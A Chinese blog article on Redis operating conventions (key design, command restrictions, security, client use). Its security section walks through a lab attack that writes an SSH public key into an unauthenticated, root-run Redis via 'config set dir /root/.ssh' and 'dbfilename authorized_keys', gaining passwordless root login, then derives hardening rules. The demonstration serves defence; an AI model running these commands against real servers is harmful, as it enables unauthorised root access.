Redis 运维实战 第09期:Redis 规范

2022-04-25 08:32:45 浏览数 (1)

作者简介

马听,多年 DBA 实战经验,对 MySQL、 Redis、ClickHouse 等数据库有一定了解,专栏《一线数据库工程师带你深入理解 MySQL》作者。

审稿人

无为,前饿了么 MySQL DBA,现就职于某知名互联网公司,对 MySQL、 Redis、PostgrepSQL 等主流数据库有一定了解,拥有丰富的一线运维经验。

这是专栏《Redis 运维实战》的最后一篇,感谢您的阅读。也感谢 9 篇文章的审稿人:无为,提出了多个修改建议,让文章内容更全面。

由于能力有限,系列文章难免会存在错误或者遗漏,如果您有任何建议,可以在对应的文章下留言或者私信给“悦专栏”公众号,我们会第一时间进行反馈。

下面进入今天的内容:Redis 规范。

1 键值设计

1.1 key 名设计

建议 key name 设计:业务名:表名:id

比如:

代码语言:javascript复制
school:student:1

要求:不包含特殊字符

1.2 value 设计

string 类型控制在 10 KB 以内,hash、list、set、zset 元素个数不要超过 5000。

因为 Bigkey 存在一些危害:

  • 由于 Redis 单线程特性,Bigkey 可能会导致超时阻塞。
  • 每次获取 Bigkey 产生的网络流量较大,可能会导致网络阻塞。
  • 如果是 Redis Cluster,可能会导致内存空间分布不均匀。
1.3 控制 key 的生命周期

建议使用 expire 设置 key 的过期时间,防止 Redis 中残留大量的废弃数据,Redis 不是垃圾桶,内存很贵滴。

2 命令规范

2.1 禁止使用的命令
代码语言:javascript复制
keys

flushall

flushdb

等等。

2.2 适量获取

例如 hgetall、lrange、smembers、zrange、sinter 需要设置范围,以保证每次获取少量的元素。如果有遍历所有元素的需求,可以使用 hscan、sscan、zscan 代替。

2.3 使用批量命令提高效率

比如:mget、mset(需要注意的是可能有些分布式集群不支持),或者使用 pipeline。

2.4 不建议使用 Redis 事务

因为 Redis 事务不支持回滚,而且集群版本要求一个事务操作的 key 必须在一个 slot 上。

2.5 monitor 命令

monitor 命令不建议使用过久,如果需要确定 hotkey,可运行 1s,一般就可看到哪些是 hotkey 了。

2.6 bigkey 删除

如果 key 类型为 string,则直接删除;

如果 key 类型为 hash、list、set、sorted set,使用 hscan 命令,每次获取部分(例如 100个)field-value,再利用 hdel 删除每个 field;

Redis 在 4.0 版本支持 lazy delete free 的模式,删除 bigkey 不会阻塞 Redis。

2.7 集群模式禁止使用发布订阅

在目前集群模式中使用发布订阅, 节点会将接收到的信息广播至集群中的其他所有节点,可能会导致网络问题,因此不建议使用。

3 安全相关

在讲解 Redis 安全规范前,我们先来做一个通过 Redis 攻破远程服务器的实验:

首先我在 A 机器(CentOS 7.4,IP 为:192.168.150.253)以 root 用户运行了一个 Redis 实例(Redis 版本:6.0.8)

在 B 机器(CentOS 7.4,IP 为:192.168.150.232)执行:

代码语言:javascript复制
ssh 192.168.150.253

发现需要输入密码才能连接

将 B 机器的公钥(如果没公钥,则自行生成一个)格式化写入 foo.txt

代码语言:javascript复制
(echo -e "nn"; cat ~/.ssh/id_rsa.pub;echo -e "nn") > foo.txt

执行下面的命令,将 foo.txt 的内容做为键 aaa 的 value:

代码语言:javascript复制
cat foo.txt |redis-cli -h 192.168.150.253 -x set aaa

在 B 机器连接 A 机器部署的 Redis

代码语言:javascript复制
redis-cli -h 192.168.150.253

执行下面命令,改变 Redis 的数据目录为 /root/.ssh

代码语言:javascript复制
config set dir /root/.ssh

执行下面命令,设置 Redis 的 RDB 文件名为 authorized_keys

代码语言:javascript复制
config set dbfilename "authorized_keys"

然后执行落盘命令

代码语言:javascript复制
bgsave

最后在 B 机器尝试连接 A 机器

代码语言:javascript复制
ssh 192.168.150.253

发现竟然成功免密登录了 A 机器,因此说明利用 Redis 这个漏洞植入公钥成功。

总结上面的步骤,发现 A 机器上部署的 Redis 存在至少 3 个问题:

  • 使用 root 用户运行 Redis
  • Redis 使用了默认端口
  • Redis 未设置密码

因此,对于 Redis 安全相关,建议规范如下:

3.1 禁止 root 用户启动 Redis

上面的实验正是利用 root 用户启动的特性来重置的 authorized_keys,如果是普通用户,则无权限重置 authorized_keys。

3.2 避免使用默认端口

默认端口被扫描的概率非常高,因此换成其他端口可以降低被扫描登录的风险

3.3 Redis 不开放外网

Redis 如果开放外网,大大增加了被攻击的概率,正如上面实验,如果开放外网,并且使用了默认端口,也没设置密码,那攻击者可以轻而易举的登录上服务器。

3.4 设置密码认证

如上面的实验,如果设置了密码,那攻击者在登录 Redis 这一步就被挡了,那也就重置不了 authorized_keys 文件。因此也建议对 Redis 设置密码。

4 客户端使用

4.1 禁止多个应用使用一套 Redis 实例

多个应用使用一套 Redis 实例,可能会出现性能互相影响的情况,甚至可能发生 key name 冲突。

4.2 冷热数据区分

将冷热数据分开存储,比如将低频数据放在 MySQL 或者其他数据库中,Redis 中存放热数据。毕竟内存比磁盘贵。

4.3 连接池

频繁创建和销毁连接,会浪费大量资源。因此可以合理使用连接池,防止频繁创建和销毁连接。

专栏《Redis 运维实战》系列文章推荐

Redis 运维实战 第01期:Redis 复制

Redis 运维实战 第02期:Redis Cluster

Redis 运维实战 第03期:Codis

Redis 运维实战 第04期:AOF 持久化

Redis 运维实战 第05期:RDB 持久化

Redis 运维实战 第06期:Bigkey

Redis 运维实战 第07期:Hotkey

Redis 运维实战 第08期:监控

Redis 运维实战 第09期:Redis 规范

0 人点赞